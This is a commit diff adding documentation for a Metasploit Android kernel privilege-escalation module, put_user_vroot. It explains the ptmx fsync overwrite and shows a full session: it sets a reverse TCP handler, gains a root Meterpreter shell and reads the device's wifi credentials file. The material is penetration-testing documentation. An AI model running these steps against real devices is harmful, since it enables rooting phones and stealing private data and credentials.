add documentation for put_user_vroot

Author: timwr

documentation/modules/exploit/android/local/put_user_vroot.md

@@ -0,0 +1,53 @@
+## Intro
+
+This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.
+
+The exploit uses a read kernel memory primitive to first figure out the correct offsets for the device, before using the write primitive to overwrite the ptmx.fsync handler to a function that will elevate the current process to root. Finally /dev/ptmx is opened, and fsync called to trigger the exploit.
+
+## Usage
+
+You'll first need to obtain a session on the target device. Once the module is loaded, one simply needs to set the ```SESSION``` option and configure the handler. The exploit can take a while to run on the device so it is configured with ```WfsDelay``` option to wait 120 seconds for a session. If you have not had a session after this time you can assume the device is not vulnerable.
+
+An example session follows:
+
+
+```
+msf exploit(handler) > sessions 
+
+Active sessions
+===============
+
+  Id  Type                        Information          Connection
+  --  ----                        -----------          ----------
+  1   meterpreter dalvik/android  u0_a132 @ localhost  192.168.1.52:4444 -> 192.168.1.54:33549 (192.168.1.54)
+
+
+msf exploit(handler) > use exploit/android/local/put_user_vroot
+
+msf exploit(put_user_vroot) > set LHOST 192.168.1.52
+LHOST => 192.168.1.52
+
+msf exploit(put_user_vroot) > set LPORT 5555
+LPORT => 5555
+
+msf exploit(put_user_vroot) > set SESSION 1
+SESSION => 1
+
+msf exploit(put_user_vroot) > run
+
+[*] Started reverse TCP handler on 192.168.1.52:5555 
+[*] Loading exploit library /data/data/com.metasploit.stage/files/bwycy
+[*] Loaded library /data/data/com.metasploit.stage/files/bwycy, deleting
+[*] Waiting 120 seconds for payload
+[*] Sending stage (388156 bytes) to 192.168.1.54
+[*] Meterpreter session 2 opened (192.168.1.52:5555 -> 192.168.1.54:59580) at 2016-12-24 00:19:12 +0800
+
+
+meterpreter > getuid 
+Server username: uid=0, gid=0, euid=0, egid=0
+
+meterpreter > cat /data/misc/wifi/wpa_supplicant.conf
+ctrl_interface=wlan0
+...
+
+```